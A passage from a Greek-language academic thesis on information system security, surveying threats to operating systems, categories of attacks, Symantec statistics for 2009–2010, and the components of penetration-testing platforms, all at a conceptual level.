και δεδομένα), τα οποία αλληλεπιδρούν μεταξύ τους και με το περιβάλλον, με σκοπό την παραγωγή και διαχείριση πληροφορίας, για την υποστήριξη ανθρώπινων δραστηριοτήτων, στα πλαίσια του οργανισμού. Ως ασφάλεια Πληροφοριακού Συστήματος μπορούμε να ορίσουμε εκείνο το οργανωμένο πλαίσιο εννοιών, αντιλήψεων, αρχών, πολιτικών, διαδικασιών, τεχνικών και μέτρων που απαιτούνται για να προστατευθούν τα στοιχεία του Πληροφοριακού Συστήματος αλλά και το σύστημα ολόκληρο, από κάθε σκόπιμη ή τυχαία απειλή (Κάτσικας, κ.α. 2004). 14

17 1.5.1 Σκοποί επιθέσεων σε Πληροφοριακά Συστήματα Αν μπορούσαμε να κατηγοριοποιήσουμε τις σκόπιμες ενέργειες με πρόθεση την παραβίαση των απαιτήσεων ασφάλειας του ΠΣ (επιθέσεις), με βάση το στόχο τους και το σκοπό τους μπορούμε να πούμε ότι είναι σε θέση να προκαλέσουν τα παρακάτω: Εισαγωγή ή Μετατροπή δεδομένων στο σύστημα (αφαίρεση, μεταβολή, διαγραφή, πρόσθεση ψευδών στοιχείων κλπ). Μείωση της αξιοπιστίας των δεδομένων και κατά συνέπεια της επιχείρησης ή του οργανισμού. Παρεμπόδιση λειτουργίας συστήματος και υπηρεσιών. Εισβολή και Παραβίαση Δικαιωμάτων, είτε του δημιουργού, είτε των νόμιμων δικαιούχων είτε πληροφοριακού υλικού Οι «εχθροί» των Πληροφοριακών Συστημάτων Έχει σημασία να δει κανείς ποιοι είναι αυτοί οι οποίοι απειλούν ένα Πληροφοριακό Σύστημα. Οι επιτιθέμενοι θα μπορούσαν να χωριστούν σε 2 μεγάλες κατηγορίες, στους εσωτερικούς (πχ. Υπάλληλοι, στελέχη κλπ) και τους εξωτερικούς (hackers, ανταγωνιστές κλπ). Περνώντας στα στατιστικά στοιχεία που συνήθως λένε την αλήθεια μπορεί κανείς να βρεθεί σε μια μεγάλη αλήθεια. Σε παλιότερη έρευνα στις Ηνωμένες Πολιτείες ανακαλύφθηκε ότι οι περισσότερες επιθέσεις έρχονται από το εσωτερικό περιβάλλον παρά από το εξωτερικό περιβάλλον. Πιο αναλυτικά φαίνεται ότι το 55% των παραβιάσεων έγινε από υπαλλήλους του οργανισμού, 38% από χάκερς και το 7% από ανταγωνιστές (Μπόζιος Ε., 2004). Αυτή η έρευνα θέτει σοβαρά ζητήματα στο πως εξετάζουν πλέον οι επιχειρήσεις την ασφάλεια του συστήματος τους αλλά βέβαια και το πως μπλέκεται ο ανθρώπινος παράγοντας στην ασφάλεια. Τέλος διαπιστώθηκε ότι στόχοι των χάκερς είναι κυρίως τράπεζες, κυβερνητικοί οργανισμοί και συστήματα, τηλεπικοινωνιακοί φορείς αλλά και επιχειρήσεις διαφορετικής φύσεως. 15

18 1.6 Ασφάλεια Λειτουργικών Συστημάτων Σύμφωνα με τον ορισμό του American Standards Institute (ANSI), Λειτουργικό Σύστημα (Λ.Σ.) (Operating System) ενός υπολογιστή ονομάζεται το προϊόν λογισμικού που ελέγχει την εκτέλεση των προγραμμάτων του υπολογιστή και παρέχει υπηρεσίες χρονοκατανομής (time sharing), αποσφασλμάτωσης (debugging), ελέγχου εισόδου εξόδου (Ι/Ο control), μεταγλώττισης (compilation), διαχείρισης μνήμης και δεδομένων, καθώς και άλλες υπηρεσίες. Το Λειτουργικό Σύστημα παρέχει τους μηχανισμούς επικοινωνίας των τελικών εφαρμογών με το υλικό του συστήματος. Η ασφάλεια του ΛΣ θεωρείται κρίσιμη για την ασφαλή λειτουργία του υπολογιστικού συστήματος, διότι το ΛΣ είναι αυτό που μπορεί να διασφαλίσει τα παρακάτω : Τα χαρακτηριστικά ασφάλειας των ίδιων των υπηρεσιών που παρέχει. Την καταστολή των απειλών που προέρχονται από τα υψηλότερα επίπεδα. Την απομόνωση των απειλών που προέρχονται από τα χαμηλότερα επίπεδα, έτσι ώστε να μην επηρεαστεί η λειτουργία των τελικών εφαρμογών (Κάτσικας κ.α. 2004) Προστασία Λειτουργικών Συστημάτων Τα Λειτουργικά Συστήματα τα οποία εξυπηρετούν ανάγκες σύγχρονων πολυεπεξεργαστικών συστημάτων έχουν σύνθετες και αυξημένες απαιτήσεις ασφάλειας των μερών τους και των στοιχείων τους (Γκρίτζαλης και Γκρίτζαλης, 1995). Τέτοια στοιχεία είναι τα παρακάτω : Δεδομένα που βρίσκονται σε μνήμες (RAM, σκληροί δίσκοι κλπ) Εκτελέσιμα προγράμματα και διεργασίες (processes) Συσκευές εισόδου εξόδου και δικτύου Διεργασίες και δεδομένα του ΛΣ Είναι σημαντικό βέβαια τα παραπάνω στοιχεία και μέρη του Λειτουργικού Συστήματος να προστατεύονται ασφαλώς προκειμένου να τηρούνται οι παρακάτω προϋποθέσεις και απαιτήσεις (Γκρίτζαλης και Γκρίτζαλης, 1995): Ευχρηστία (usability) Αποδοτικότητα (efficiency) Ακεραιότητα (integrity) Εμπιστευτικότητα (confidentiality) Αυθεντικότητα (authenticity) Διαθεσιμότητα (availability) Ευκινησία (capacity) Ανιχνευσιμότητα (detectability) 16

19 1.6.2 Απειλές και ζητήματα Ασφάλειας Όπως αναφέρθηκε και παραπάνω σε ένα Λειτουργικό Σύστημα (ΛΣ) υπάρχει σημαντικός κίνδυνο για απώλεια, αλλοίωση και καταστροφή δεδομένων όπως επίσης και για αποκάλυψη τους. Επίσης υπάρχει και το ενδεχόμενο της μη εξουσιοδοτημένης πρόσβασης του συστήματος από μη δικαιούχες οντότητες που έχουν σκοπό την εκμετάλλευση αυτού η των πόρων του. Κίνητρα κακόβουλων χρηστών μπορεί να είναι η περιέργεια, το άμεσο ή έμμεσο οικονομικό όφελος, η πρόκληση δυνατοτήτων του κακόβουλου χρήστη ή τέλος η βιομηχανική κατασκοπία η οποία σύμφωνα με έρευνες έχει εκτιναχθεί στα ύψη τη τελευταία δεκαετία. Όπως αναφέραμε και πριν το ΛΣ γίνεται συχνά στόχος τέτοιων επιθέσεων και κακόβουλων ενεργειών και απειλών. Μερικές απ αυτές τις απειλές παρουσιάζονται παρακάτω (Gritzalis and Spinellis, 1997): Αποκάλυψη κωδικών-συνθηματικών: Η πλέον συνήθης απειλή σε ένα ΛΣ. Οι κακόβουλοι χρήστες αποκτούν πρόσβαση στο σύστημα με αυτό το τρόπο και πολλές φορές φτάνουν να έχουν δικαιώματα διαχειριστή (administrator, superuser κλπ). Μη εξουσιοδοτημένη εκτέλεση λογισμικού: Λογισμικό το οποίο έχει εγκατασταθεί παράνομα στο σύστημα από μη εξουσιοδοτημένους χρήστες και μπορεί να προκαλέσει ζημιές και απώλειες στο υπολογιστικό σύστημα. Άρνηση Υπηρεσίας: Κατασπατάληση των πόρων του συστήματος σε μέγιστο βαθμό, τέτοιο ώστε να γίνεται αδύνατη η προσπέλαση και η χρήση της υπηρεσίας από τους άμεσα ενδιαφερόμενους. Κακόβουλες ενέργειες: Τέτοιες ενέργειες, όπως η τροποποίηση δεδομένων, η καταστροφή αρχείων συστήματος (system files) ή και φυσική καταστροφή ακόμα. Συμπτωματικές ασυνέπειες και σφάλματα: Προέρχονται από κατασκευαστικές και προγραμματιστικές ατέλειες και ασάφειες και από την αμέλεια του διαχειριστή να παρακολουθήσει τις προσθήκες και τις επιδιορθώσεις που ανακοινώνει ο κατασκευαστής του συστήματος Ιομορφικό Λογισμικό: Οποιασδήποτε μορφής πρόγραμμα που μπορεί να προκαλέσει ζημιές ή και βλάβες στο σύστημα (πχ. Trojan horses, viruses, worms κλπ). Κερκόπορτα (backdoor): Διάταξη στο κώδικα κάποιου προγράμματος η οποία επιτρέπει παράκαμψη ασφάλειας. Ανθρώπινος παράγοντας: Ένα σύνθετο και συνήθως δύσκολα αντιμετωπίσιμο πρόβλημα στην ασφάλεια υπολογιστών. Η δυσκολία του έγκειται στο στοιχείο του απρόβλεπτου λόγω τις μεγάλης γκάμας αντιδράσεων των χρηστών σε υπολογιστικά συστήματα. 17

20 1.6.3 Μηχανισμοί ασφάλειας Λειτουργικών Συστημάτων Όπως έγινε αντιληπτό και από τα παραπάνω τα Λειτουργικά Συστήματα έχουν κάποιες απαιτήσεις ασφάλειας οι οποίες πρέπει να διαφυλαχθούν. Για να επιτευχθεί αυτό επιστρατεύονται διάφοροι μηχανισμοί ασφάλειας που εξυπηρετούν διαφορετικούς σκοπούς προκειμένου τελικά να υπάρξει το ζητούμενο επίπεδο ασφάλειας (Tanenbaum, 2008B). Μερικοί από τους παρακάτω μηχανισμούς είναι οι παρακάτω : Μηχανισμοί Αυθεντικοποίησης Χρηστών Μηχανισμοί Ελέγχου Προσπέλασης Μηχανισμοί Διαθεσιμότητας Συστήματος Μηχανισμοί Ακεραιότητας Λογισμικού και Δεδομένων Μηχανισμοί Καταγραφής και Παρακολούθησης Μηχανισμοί Εμπιστευτικότητας Ευαίσθητων Δεδομένων Είναι κατανοητό βέβαια πως αυτοί οι μηχανισμοί υλοποιούνται με συγκεκριμένα μέτρα και ενέργειες στα οποία θα γίνει ανάλυση αν χρειαστεί κατά τα παρακάτω κεφάλαια και στην εφαρμογή πρακτικών θεμάτων. 1.7 Κατηγορίες ηλεκτρονικών Επιθέσεων Οι τρόποι μέσα από τους οποίους μπορεί να περάσει στον έλεγχο κάποιου κακόβουλου χρήστη ένα υπολογιστικό σύστημα είναι πάρα πολλοί. Στη παρούσα φάση της εργασίας είναι αδύνατο να αναλυθούν όλες οι μορφές επιθέσεων και απειλών σε Πληροφοριακά Συστήματα και δίκτυα, γι αυτό είναι σκόπιμο να γίνει μια κατηγοριοποίηση και μια ομαδοποίηση αυτών των μεθόδων. Σε κάθε μια από τις παρακάτω κατηγορίες θα γίνεται και μια σύντομη αναφορά στους πιο δημοφιλείς τύπους επιθέσεων που σχετίζονται με τη συγκεκριμένη κατηγορία και πως περίπου αυτοί δρουν. a) Επιθέσεις βασισμένες σε δίκτυο Τέτοιες επιθέσεις εξαπολύονται σε δικτυακές συσκευές και υποδομές καθώς επίσης και σε εφαρμογές ή συστήματα που χρησιμοποιούν δικτυακές λειτουργίες. Συνήθως τέτοιες επιθέσεις ψάχνουν να εντοπίσουν ατέλειες στη σχεδίαση είτε του υλικού είτε του λογισμικού προκειμένου να ετοιμάσουν το έδαφος για να δράσουν και να εκτελεστούν. Μερικές από αυτές τις επιθέσεις, οι πιο δημοφιλείς σύμφωνα με πολλούς ειδικούς στα θέματα ασφάλειας, είναι η ανίχνευση θυρών (port scanning), παραπλάνηση ΙΡ διευθύνσεων (ip spoofing), την ανίχνευση πακέτων (packet sniffing), επιθέσεις άρνησης υπηρεσίας (Denial of Service Attacks, Dos), υπερχειλίσεις προσωρινής αποθήκευσης (buffer overflow), λογικές βόμβες (logic bombs), κερκόπορτες (backdoors), δούρειοι ίπποι (Trojan Horses), σκουλήκια (worms), ιοί (viruses) αλλά και άλλες μορφές εκμετάλλευσης τρωτοτήτων του λειτουργικού συστήματος, των εφαρμογών ή των δικτυακών πρωτοκόλλων. 18

21 Σύμφωνα με τη Symantec για στατιστικά επιθέσεων και τάσεις στην ασφάλεια για το 2009 έχουμε τα παρακάτω : 1.Τα μηνύματα spam με συνημμένο κακόβουλο λογισμικό Το spam θεωρείται κάτι ενοχλητικό, αλλά όχι απαραίτητα επικίνδυνο. Ωστόσο, μεταξύ Σεπτεμβρίου και Οκτωβρίου 2009, ποσοστό άνω του 2%, κατά μέσο όρο, των μηνυμάτων spam περιείχαν συνημμένο κακόβουλο λογισμικό εννέα φορές μεγαλύτερος αριθμός των μηνυμάτων spam που περιέχουν κακόβουλο λογισμικό. 2.Οι επιθέσεις σε δικτυακούς τόπους κοινωνικής δικτύωσης Το 2009 οι επιθέσεις από εγκληματίες εναντίον των δικτυακών τόπων κοινωνικής δικτύωσης αλλά και των χρηστών τους ήταν κάτι συνηθισμένο. Το δεύτερο εξάμηνο του 2009 παρατηρήθηκε αύξηση των επιθέσεων σε δικτυακούς τόπους κοινωνικής δικτύωσης, τόσο σε συχνότητα όσο και σε επίπεδο τεχνικής. Παραπλανητικό λογισμικό ασφάλειας Μεταξύ 1 Ιουλίου 2008 και 30 Ιουνίου 2009, αναφέρθηκαν στη Symantec 43 εκατομμύρια απόπειρες εγκατάστασης παραπλανητικού λογισμικού ασφάλειας. 3. Έτοιμο κακόβουλο λογισμικό Το 2009 παρατηρήθηκε αύξηση στην ευκολία δημιουργίας κακόβουλου λογισμικού σε σχέση με άλλες χρονιές. Αυτό οφείλεται κυρίως στη διαθεσιμότητα δημοφιλών πακέτων εργαλείων φιλικών προς τον χρήστη. Αυτή η τάση έχει μετατρέψει επίσης το κακόβουλο λογισμικό σε κάτι πιο αναλώσιμο, με αποτέλεσμα μια απειλή να εμφανίζεται και να εξαφανίζεται μερικές φορές μέσα σε μόνο 24 ώρες. 4. Αύξηση δικτύων bot Τα δίκτυα bot (botnet) εξελίσσονται γρήγορα ως η βάση κάθε ηλεκτρονικής εγκληματικότητας. Το 2009, οι σχεδιαστές botnet επέκτειναν το πεδίο δράσης τους χρησιμοποιώντας δικτυακούς τόπους κοινωνικής δικτύωσης ως κανάλια επικοινωνίας. 5. Βιομηχανική συνεργασία για την εξάλειψη των απειλών στο Internet Μεταξύ των παραδειγμάτων μέσα στο 2009 συναντάμε την ομάδα εργασίας Conficker Working Group (CWG), την επιχείρηση Operation Phish Phry του FBI και την ομάδα συνεργασίας ψηφιακού εγκλήματος Digital Crimes Consortium, η οποία συνεδρίασε για πρώτη φορά τον Οκτώβριο. 19

22 6. Τα πρόσφατα γεγονότα αξιοποιήθηκαν περισσότερο από ποτέ Η γρίπη των χοίρων, η σύγκρουση της πτήσης 447 της Air France, και οι θάνατοι του Michael Jackson και του Patrick Swayze. Καθένα απ' αυτά τα γεγονότα, μαζί με πάρα πολλά άλλα, χρησιμοποιήθηκαν από δημιουργούς κακόβουλου λογισμικού και αποστολείς μηνυμάτων spam το 2009 για να δελεάσουν ανυποψίαστους χρήστες του διαδικτύου για λήψη κακόβουλου λογισμικού, αγορά προϊόντων και εξαπάτηση. Φτάσαμε σε ένα επίπεδο όπου καμία γνωστή ιστορία δεν περνάει απαρατήρητη και μπορούμε να αναμένουμε ακόμα περισσότερες ανάλογες επιθέσεις καθώς πλησιάζουν σημαντικές παγκόσμιες διοργανώσεις. 7. Τα «drive-by» downloads πρωταγωνιστούν Από τον Αύγουστο έως τον Οκτώβριο του 2009 μόνο, η Symantec παρατήρησε 17,4 εκατομμύρια τέτοιες επιθέσεις. 8. Το spam επιστρέφει στα επίπεδα πριν από την υπόθεση McColo Το 2009 ο συνολικός όγκος των μηνυμάτων spam επανήλθε, κατά μέσο όρο, στο 87,4 % του συνόλου των μηνυμάτων ηλεκτρονικού ταχυδρομείου, φτάνοντας ακόμα και σε ποσοστό 95% στα τέλη Μαΐου. 9. Αύξηση των πολυμορφικών απειλών Ο πολυμορφισμός υποδηλώνει την ικανότητα μετάλλαξης, επομένως, οι πολυμορφικές απειλές είναι εκείνες στις οποίες κάθε στιγμιότυπο του κακόβουλου λογισμικού είναι ελαφρώς διαφορετικό από το προηγούμενο. 10. Αύξηση των αποπειρών πλήξης της υπόληψης Στα τέλη του Οκτωβρίου 2009, η Symantec παρατήρησε μια τεράστια αύξηση στον αριθμό μικρότερων δωρεάν υπηρεσιών Web, όπως οι υπηρεσίες σύντμησης των URL, των οποίων τα ονόματα και οι υπολήψεις πέφτουν θύματα αποστολέων spam. Αυτές οι απειλές έχουν ενισχυθεί αναμφισβήτητα από την πρόοδο στην πρωτοποριακή τεχνολογία CAPTCHA, η οποία διευκολύνει τη δημιουργία πολλαπλών αναλώσιμων λογαριασμών και προφίλ που χρησιμοποιούνται για αύξηση του spam. 20

23 11. Συνέχιση των παραβιάσεων δεδομένων Μέχρι τις 13 Οκτωβρίου 2009, αναφέρθηκαν 403 παραβιάσεις δεδομένων για το τρέχον έτος, εκθέτοντας περισσότερες από 220 εκατομμύρια εγγραφές, σύμφωνα με το κέντρο Identity Theft Resource Center. Η μεγάλη πλειοψηφία των συμβάντων απώλειας δεδομένων (88%) εξακολουθεί να προέρχεται από το εσωτερικό των εταιρειών, όπως υπαλλήλους και συνεργάτες, σύμφωνα με το ίδρυμα Ponemon. Ωστόσο, η ανησυχία σχετικά με την απώλεια δεδομένων από κακόβουλες επιθέσεις ολοένα αυξάνεται. Σύμφωνα με ακόμα μία μελέτη του Ponemon, ποσοστό 59% πρώην υπαλλήλων παραδέχτηκαν ότι φεύγοντας από την εταιρεία όπου εργάζονταν πήραν μαζί τους εταιρικά δεδομένα. Ενώ οι οργανισμοί επικεντρώνονται όλο και περισσότερο στην αποτροπή απώλειας δεδομένων, είναι, παρόλα αυτά φανερό ότι πρέπει να ληφθούν περισσότερα μέτρα για την αποτροπή των διαρροών ευαίσθητων δεδομένων (Καλαμαρά, 2010).. Όσον αφορά τις τάσεις της ασφάλειας για το 2010 οι μέχρι τώρα αναλύσεις και προβλέψεις δείχνουν τα παρακάτω : Οι προμηθευτές παραπλανητικού λογισμικού ασφάλειας κλιμακώνουν τις προσπάθειές τους Το 2010, υπάρχει κλιμάκωση των προσπαθειών όσων διαδίδουν παραπλανητικό λογισμικό ασφάλειας με απόπειρες ακόμη και παρείσφρησης σε υπολογιστές χρηστών, τους οποίους θα αχρηστεύουν και θα ζητούν λύτρα ως αντάλλαγμα. Μια λιγότερο δραματική εξέλιξη, ωστόσο, θα είναι ένα λογισμικό που δεν μπορεί να θεωρηθεί κακόβουλο ή επικίνδυνο με την αυστηρή έννοια του όρου, αλλά σίγουρα αμφίβολο. Αύξηση του Malware σε υπολογιστές Mac και κινητά Ο αριθμός των επιθέσεων που έχουν σχεδιαστεί για ένα συγκεκριμένο λειτουργικό σύστημα ή πλατφόρμα σχετίζεται άμεσα με το μερίδιο αγοράς που κατέχει η πλατφόρμα, διότι οι δημιουργοί κακόβουλου λογισμικού αποσκοπούν στο να κερδίσουν χρήματα και καταδιώκουν πάντα τα πιο διαδεδομένα συστήματα για μεγαλύτερο κέρδος. Το 2009 παρατηρήθηκε μια αύξηση των επιθέσεων σε υπολογιστές Mac και σε έξυπνα κινητά τηλέφωνα από δημιουργούς κακόβουλου λογισμικού, όπως για παράδειγμα το botnet Sexy Space που είχε ως στόχο το λειτουργικό σύστημα Symbian κινητών τηλεφώνων, και τον δούρειο ίππο OSX.Iservice που είχε ως στόχο τους χρήστες υπολογιστών Mac. b) Κοινωνική Μηχανική Στη κατηγορία αυτή ανήκει ο πιο αστάθμητος παράγοντας στην ασφάλεια, που δεν είναι άλλος από τον άνθρωπο. Οι καταγραφές περιπτώσεων κοινωνικής μηχανικής έχουν φτάσει στα ύψη τα τελευταία δύο 21

24 χρόνια και φυσικά ένας βασικός λόγος είναι η τεράστια έξαρση των κοινωνικών δικτύων (facebook, twitter κλπ.) αλλά και της πολύ μεγάλης απήχησης που έχουν στο μέσο χρήστη του Διαδικτύου. To Social Engineering ως κύριος φορέας επιθέσεων Ολοένα και συχνότερα οι εισβολείς επιτίθενται απευθείας τον τελικό χρήστη και επιχειρούν να τον εξαπατήσουν προκειμένου να λάβει κακόβουλο λογισμικό ή να αποκαλύψει ευαίσθητες πληροφορίες, δίνοντας την εντύπωση ότι κάνουν κάτι εντελώς αθώο. Το social engineering αποτελεί ήδη ένα από τα κύρια μέσα επιθέσεων που χρησιμοποιούνται σήμερα και εκτιμάται ότι ο αριθμός των αποπειρών επίθεσης που χρησιμοποιούν αυτές τις τεχνικές θα αυξηθεί σίγουρα και μέσα στο Ένα κλασικό παράδειγμα εξαπάτησης με κοινωνική μηχανική είναι ένας επιτιθέμενος να προσποιηθεί ότι είναι διαχειριστής δικτύου ενός οργανισμού και να εξαπατήσει ένα ανυποψίαστο υπάλληλο αποσπώντας του τελικά τον κωδικό πρόσβασης του δικτύου. Το εύρος των πιθανών σεναρίων επίθεσης με αυτή τη μέθοδο είναι αρκετά μεγάλο σε σημείο να φτάσει ακόμα και στον εκβιασμό (Mitnick, 2002). Μια πιο διαδεδομένη μορφή αυτής της κατηγορίας είναι το λεγόμενο phising - παραλλαγή του όρου fishing (ψάρεμα) - το οποίο αφορά τη προσπάθεια κλοπής προσωπικών στοιχείων, συνήθως οικονομικού τύπου όπως πχ. ΑΦΜ, αριθμούς πιστωτικών καρτών, λογαριασμούς τραπεζών κλπ. Αυτό επιτυγχάνεται με την αποστολή κάποιου spam το οποίο φαίνεται νόμιμο και αυθεντικό βάση γνωστού interface ζητάει τη κατάθεση στοιχείων μέσα σε φόρμες οι οποίες στέλνουν τα στοιχεία αυτά σε κάποιο κακόβουλο παραλήπτη που τις δημιούργησε. Πιο συγκεκριμένα μεγάλη έξαρση σε επιθέσεις ψαρέματος υπήρξε σύμφωνα με τη Symantec το δεύτερο εξάμηνο του 2007 καθώς τότε αυξήθηκαν κατά 167% σε σχέση με το πρώτο εξάμηνο. Ενώ το 91% από αυτές στόχευσαν σε δυο ιστότοπους κοινωνικής δικτύωσης. c) Φυσικές Επιθέσεις στην Ασφάλεια Σε τέτοιες περιπτώσεις έχουμε πλήγμα στη φυσική υποδομή του συστήματος. Αυτό σημαίνει πως μια συσκευή μπορεί από μόνη της να αποτελέσει πόλο έλξης για κάποιο κακόβουλο χρήστη. Για παράδειγμα μια ανεξουσιοδότητη είσοδος σε ένα datacenter μια εταιρίας ή ενός οργανισμού από κάποιο χρήστη που έχει ως σκοπό να βλάψει το σύστημα μπορεί να οδηγήσει σε κλοπή δεδομένων (πχ. Σκληρού δίσκου) τα οποία μπορεί να είναι ευαίσθητα και η αποκάλυψη τους να έχει τεράστιες συνέπειες. Στην ίδια κατηγορία ανήκει και η αναζήτηση πληροφορία σε εταιρίες μέσα από τους κάδους των αχρήστων (dumpster diving) προκειμένου να εντοπιστούν χρήσιμα δεδομένα (Γιαννόπουλος, 2008). 22

25 Ενδιαφέρον έχει και η περσινή (2010) έρευνα πάλι της Symantec για θέματα Ασφάλειας σε διαδικτυακές απειλές. Παρακάτω θα αναφέρουμε μερικά ενδιαφέροντα στατιστικά στοιχεία καθώς και αυξομειώσεις όπως προέκυψαν από αυτή την αντίστοιχη έρευνα του Συνολική αύξηση Απειλών Οι πολυμορφισμοί καθώς και νέες διανομές μηχανισμών όπως toolkit διαδικτυακών επιθέσεων συνέχισαν να αυξάνουν τον αριθμό των παραλλαγών malware λογισμικού σε διεθνή κυκλοφορία. Το 2010 η Symantec απαρίθμησε παραπάνω από 286 εκατομμύρια παραλλαγές malware. Αύξηση Web επιθέσεων Ένας αυξανόμενος πολλαπλασιασμός των εργαλείων για διαδικτυακές επιθέσεις οδήγησε στην απίστευτη αύξηση της τάξης 93% στο πλήθος των web-based επιθέσεων μέσα στο 2010 σε σχέση με αυτό του Τα μικρότερα URL φαίνονται να παίζουν κάποιο ρόλο και εδώ. Κατά τη διάρκεια μιας τρίμηνης περιόδου παρατήρησης μέσα στο 2010, το 65% από τα κακόβουλα URLs που παρατηρήθηκαν σε κοινωνικά δίκτυα ήταν μικρότερα σε μέγεθος από τα παλιά. Στο ακόλουθο διάγραμμα φαίνεται η πορεία των επιθέσεων μέσα στο 2009 και το 2010 κατα μέσο όρο για κάθε είναι. Η έξαρση επιθέσεων στα τέλη του 10 είναι εμφανής. Διάγραμμα Δικτυακών Επιθέσεων/Μήνα (Πηγή: Symantec) 23

26 Επίσης στο σχήμα 1.2 παρατηρούμε το πλήθος των κλικ σε σχέση με το ποσοστό κατά το οποίο το URL εμφανίζεται μικρότερο σε σχέση με το Τα αποτελέσματα είναι ενδεικτικά. Σχήμα 1.2 Σχέση κλικ σε URL/ποσοστό σμίκρυνσης URL (Πηγή: Symantec) Αποκάλυψη ταυτοτήτων και στοιχείων Ο μέσος αριθμός αποκαλύψεων ταυτοτήτων για κάθε παραβίαση μέσα στο 2010 όπως ανέρχεται από τις μετρήσεις αγγίζει τις 260,000 ταυτότητες/αποκάλυψη που προήλθε από χάκερ μέσα στο έτος. Τρωτότητες σε ασύρματο περιβάλλον Σε ένα σημάδι ότι ο ασύρματος χώρος έχει αρχίσει να τραβάει μεγαλύτερη προσοχή από τους ερευνητές ασφάλειας αλλά και από τους ηλεκτρονικούς εγκληματίες οδηγεί η μεγαλειώδης άυξηση του 42% σε τρωτότητες στο ασύρματο περιβάλλον σε σχέση με το Πάνω από 163 ήταν το 2010 ενώ 115 ήταν οι αδυναμίες σε ασύρματο περιβάλλον το

27 Τρωτότητες σε διάφορα συστήματα Η Symantec εντόπισε περισσότερες αδυναμίες συστημάτων στο 2010 από οποιοδήποτε άλλο έτος από τοτε που ξεκίνησαν οι ετήσιες αυτές έρευνες. Ο αριθμός που προκύπτει για το 2010 ξεπερνά τις 6250 νέες τρωτότητες σε συστήματα ανά τον κόσμο. Σε σχέση με το 2009 υπήρξαν 1914 περισσότερες και ποσοστιαία αύξηση της τάξης του 161%. Νέες Zero-day τρωτότητες Μέσα στο 2010 παρουσιάστηκαν 14 zero-day αδυναμίες σε εφαρμογές ευρείας χρήσης όπως ο Internet Explorer, το Adobe Reader, το Adobe Flash Player και πολλά άλλα επίσης που εκτέθηκαν. Να θυμήσουμε ότι zero day exploits/vulnerabilities είναι οι ευπάθειες αυτές οι οποίες εκμεταλλεύτηκαν ακριβώς την ίδια μέρα που ανακαλύφθηκαν. Θεματολογία του Spam Όσον αφορά το spam, απρόσμενα η έρευνα έδειξε ότι το 74% (ή αλλιώς 3 στις 4) από όλα τα spam μηνύματα που διακινήθηκαν αφορούσαν φαρμακευτικά προιόντα. Μάλιστα τα περισσότερα εμφάνιζαν κάποια εικονική σχέση με καναδέζικες φαρμακευτικές εταιρίες. Bot δικτύα και υπολογιστές Το Rustock το μεγαλύτερο δίκτυο bot υπολογιστών που παρατηρήθηκε το 2010, είχε πάνω από 1 εκατομμύριο δεσμευμένα μηχανήματα υπό τον έλεγχο του. Ακολούθησαν τα Grum και Cutwail τα οποία είχανε από μερικές εκατοντάδες χιλιάδες το καθένα bot υπολογιστές. Διαφημιστική παραοικονομία των bot δικτύων Η Symantec παρατήρησε μια «υπόγεια» διαφημηστική οικονομική καμπάνια μέσα στο 2010 προωθόντας 10,000 bots για 15 δολλάρια. Τα botnets συνήθως χρησιμοποιούνται για διακίνηση spam ή για προώθηση κακόβουλου λογισμικού αλλά αυξητικά πλέον εμφανίζουν μεγάλη άνοδο και στις επιθέσεις κατανεμημένης άρνησης υπηρεσίας (Distributed Denial of Service, DDoS). Πιστωτικές κάρτες ποσά διαφήμισης Από 0.07 εως και 100 δολλάρια ήταν το εύρος τιμών που παρατηρήθηκε ότι διακινήθηκε σε διαφημίσεις στην υπόγεια οικονομία για κάθε κλεμένη πιστωτική κάρτα και όπως στη πραγματική οικονομία η αγορά τοις μετρητοίς συνήθως κάνει στον αγοραστή μια μικρή έκπτωση. Περισσότερα στοιχεία από την έρευνα της Symantec για το 2010 μπορεί κανέις να βρει στο επίσημο site της εταιρίας και στο link: aid=about 25

28 1.8 Σύγχρονες Πλατφόρμες Αποτίμησης Ασφάλειας Δικτύων και Εφαρμογών Η ενότητα αυτή παρουσιάζει όλα εκείνα τα στοιχεία και συστατικά που συνθέτουν μια σύγχρονη και ολοκληρωμένη πλατφόρμα αποτίμησης ασφάλειας και αδυναμιών δικτύων και εφαρμογών. Τέτοιου είδους πλατφόρμες χρησιμοποιούνται καθημερινά από ειδικούς ερευνητές σε θέματα ασφάλειας αλλά και από επαγγελματίες εμπειρογνώμονες που πραγματοποιούν ελέγχους διείσδυσης και τρωτότητας σε μοντέρνα Πληροφοριακά Συστήματα. Έχει μεγάλη σημασία η επαρκής ανάλυση αυτής της ενότητας κυρίως επειδή στα πλαίσια της πρακτικής ενότητας αυτής της εργασίας θα γίνει μια προσπάθεια ανάπτυξης τέτοιας πλατφόρμας μέσω των συστατικών λογισμικού που θα παρουσιαστούν στη συνέχεια της τρέχουσας ενότητας. Τα προαναφερθέντα στοιχεία λογισμικού για τέτοιες χρήσεις είναι τα παρακάτω : Εικονικό λογισμικό (Virtualization Software) και μηχανές που επιτρέπουν την εκτέλεση πολλαπλών εικονικών συστημάτων σε μια φυσική μηχανή (.iso αρχεία, και προγράμματα τύπου VMware, Virtual Box κλπ.). Λειτουργικά Συστήματα (Operating Systems) στο εσωτερικό των εικονικών μηχανών και κατά συνέπεια της πλατφόρμας. Εργαλεία αναγνώρισης στόχου (Reconnaissance tools) για τη προετοιμασία και την υλοποίηση προκαταρτικών μελετών ανοικτού κώδικα βασισμένες στο internet. Εργαλεία σάρωσης και ανάλυσης δικτύου (Network Scanning Tools) που εκτελούν αυτοματοποιημένους ελέγχους τρωτότητας σε προσβάσιμες IP διευθύνσεις. Πλατφόρμες πολιορκίας (Exploitation Framework) ώστε να κατακτηθούν τρωτά μέρη λογισμικού και να εξασφαλιστεί πρόσβαση στις υπηρεσίες. Εργαλεία ελέγχου διαδικτυακών εφαρμογών (Web Applications Testing Tools) που εκτελούν συγκεκριμένους ελέγχους ασφάλειας σε διαδικτυακές εφαρμογές. Στη συνέχεια αναλύονται το καθένα από τα παραπάνω ως προς τη χρησιμότητα και το ρόλο τους στην ευρύτερη πλατφόρμα. Εικονικό Λογισμικό : Το εικονικό λογισμικό επιτρέπει σε πολλαπλές εικονικές μηχανές να τρέχουν παράλληλα σε διαφορετικά λειτουργικά συστήματα και εργαλεία. Οι εικονικές μηχανές επίσης μπορούν να αδρανοποιούνται και να επαναφέρονται σε ασφαλείς καταστάσεις εύκολα καθώς επίσης μπορούν να αντιγράφονται και να μετακινούνται μεταξύ φυσικών μηχανών, προσθέτοντας έτσι στην απλότητα της συντήρησης. Γνωστά λογισμικά υποστήριξης εικονικών μηχανών είναι το VMware το οποίο επιτρέπει το τρέξιμο πολλαπλών στιγμιότυπων 